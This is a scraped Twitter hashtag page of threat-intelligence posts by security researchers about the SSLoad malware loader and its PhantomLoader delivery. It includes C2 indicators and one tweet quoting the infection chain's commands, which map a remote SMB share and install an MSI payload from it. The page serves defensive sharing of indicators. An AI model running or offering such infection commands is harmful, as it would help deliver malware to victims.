#SSLoad - Twitter Hashtag

over 1 year ago

#ThreatProtection A Recent #PhantomLoader Campaign Delivering #SSLoad. Read more: https://t.co/U5rVoEp2cb #CyberSecurity #Malware

0

4

1

0

1K

BlueEye @BlueEye46572843

over 1 year ago

@RussianPanda9xx @anyrun_app check out my latest blog post on #ssload and #PhantomLoader https://t.co/477MPNCUnB

0

4

0

143

RussianPanda 🐼 🇺🇦

@RussianPanda9xx

over 1 year ago

Did you know #ssload sends a POST request to "<IP>/api/gateway" to register the infected device? You can leverage @anyrun_app Threat Intelligence tool to hunt for ssload using a simple query: url:"api/gateway"

RussianPanda9xx's tweet photo. Did you know #ssload sends a POST request to "<IP>/api/gateway" to register the infected device?

You can leverage @anyrun_app Threat Intelligence tool to hunt for ssload using a simple query: url:"api/gateway"

1

70

15

6K

BlueEye @BlueEye46572843

over 1 year ago

I investigated and analyzed an undocumented loader, #PhantomLoader, disguised as legitimate software to deliver second-stage malware. Please check it out and let me know your thoughts. #malware #ssload #ThreatIntelligence

ANY.RUN

@anyrun_app

over 1 year ago

🚨 The new malware #PhantomLoader, disguising as 360 Total Security module, is being used to spread #SSLoad Discover detailed technical analysis of the attack chain and both malware families by @BlueEye46572843 🔍 Read and get IOCs 👇 https://t.co/AYhXXuksQn

2

60

21

10

6K

4

17

5

1

657

ANY.RUN

@anyrun_app

over 1 year ago

🚨 The new malware #PhantomLoader, disguising as 360 Total Security module, is being used to spread #SSLoad Discover detailed technical analysis of the attack chain and both malware families by @BlueEye46572843 🔍 Read and get IOCs 👇 https://t.co/AYhXXuksQn

2

60

21

10

6K

JAMESWT @JAMESWT_WT

over 1 year ago

@malwrhunterteam #SSLoad ❇️https://t.co/7GcIlhm1FC❇️

0

2

0

445

ANY.RUN

@anyrun_app

almost 2 years ago

🚨 #SSLoad is a stealthy #malware loader that evades detection with advanced infiltration techniques Learn how it operates, collect samples and #IOCs with ease 👇 https://t.co/sAdFtyIZLg

anyrun_app's tweet photo. 🚨 #SSLoad is a stealthy #malware loader that evades detection with advanced infiltration techniques

Learn how it operates, collect samples and #IOCs with ease 👇
https://t.co/sAdFtyIZLg https://t.co/Cw3VPmaDUl

1

19

3

2K

Filescan.io @filescan_itsec

about 2 years ago

#SSLoad is gaining popularity among threat actors. Last seen during the #FROZENSHADOW campaign, the Rust-based loader shows a different delivery method: phishing docx -> embedded XML with encoded JS -> PE -> SSLoad. Report: https://t.co/JF8Yz7kuOf #malware #sandbox #phishing

filescan_itsec's tweet photo. #SSLoad is gaining popularity among threat actors. Last seen during the #FROZENSHADOW campaign, the Rust-based loader shows a different delivery method: phishing docx -> embedded XML with encoded JS -> PE -> SSLoad. Report: https://t.co/JF8Yz7kuOf

#malware #sandbox #phishing https://t.co/u8mEHtiLIm

0

4

0

4

1K

thezigzag @thezigzag3

about 2 years ago

#Researchers #Detail #Multistage #Attack #Hijacking #Systems with #SSLoad, #Cobalt #Strike https://t.co/uX5xF9cFeI

0

2

0

49

thezigzag @thezigzag3

about 2 years ago

#Researchers #Detail #Multistage #Attack #Hijacking #Systems with #SSLoad, #Cobalt #Strike https://t.co/uX5xF9c7pa

0

3

0

44

Unit 42 @Unit42_Intel

about 2 years ago

2024-04-18 (Thursday): #SSLoad infection leads to #CobaltStrike DLL. In this case we saw no follow-up Cobalt Strike C2 traffic. List of indicators available at https://t.co/xfFA8vnHvX #TimelyThreatIntel #Unit42ThreatIntel #Wireshark #InfectionAnalysis

Unit42_Intel's tweet photo. 2024-04-18 (Thursday): #SSLoad infection leads to #CobaltStrike DLL. In this case we saw no follow-up Cobalt Strike C2 traffic. List of indicators available at https://t.co/xfFA8vnHvX

#TimelyThreatIntel #Unit42ThreatIntel #Wireshark #InfectionAnalysis https://t.co/fwTK1JO4Pc

0

128

46

38

15K

ExecuteMalware @executemalware

about 2 years ago

Here are some #ssload #ta578 IOCs from today: https://t.co/5WshZsi9l8

0

23

8

5

7K

Cryptolaemus @Cryptolaemus1

about 2 years ago

#SSLoad - #TA578 - url > .js > smb > .msi wscript.exe Doc_m42_81h118103-88o62135w8623-1999q9.js net use A: \\krd6.]com@80\share\ /persistent:no msiexec.exe /I avp.msi msiexec.exe /V (1/3) 👇 IOC's https://t.co/GxaK7SIzwx

$Cryptolaemus1's tweet photo. #SSLoad - #TA578 - url > .js > smb > .msi wscript.exe Doc_m42_81h118103-88o62135w8623-1999q9.js net use A: \\krd6.]com@80\share\ /persistent:no msiexec.exe /I avp.msi msiexec.exe /V (1/3) 👇 IOC's https://t.co/GxaK7SIzwx https://t.co/7rI3tqe2wZ$

1

78

34

15

9K

Unit 42 @Unit42_Intel

about 2 years ago

2024-04-15 (Monday): #ContactForms campaign pushing #SSLoad malware as early as Thursday, 2024-04-11. List of indicators available at https://t.co/MLr80TUH73 #Wirshark #Unit42ThreatIntel #TimelyThreatIntel #InfectionTraffic

Unit42_Intel's tweet photo. 2024-04-15 (Monday): #ContactForms campaign pushing #SSLoad malware as early as Thursday, 2024-04-11. List of indicators available at https://t.co/MLr80TUH73

#Wirshark #Unit42ThreatIntel #TimelyThreatIntel #InfectionTraffic https://t.co/vxR5mQl3Dk

1

103

49

27

16K

Top Tweets for #SSLoad

Last Seen Hashtags on Sotwe

Trends for you

Most Popular Users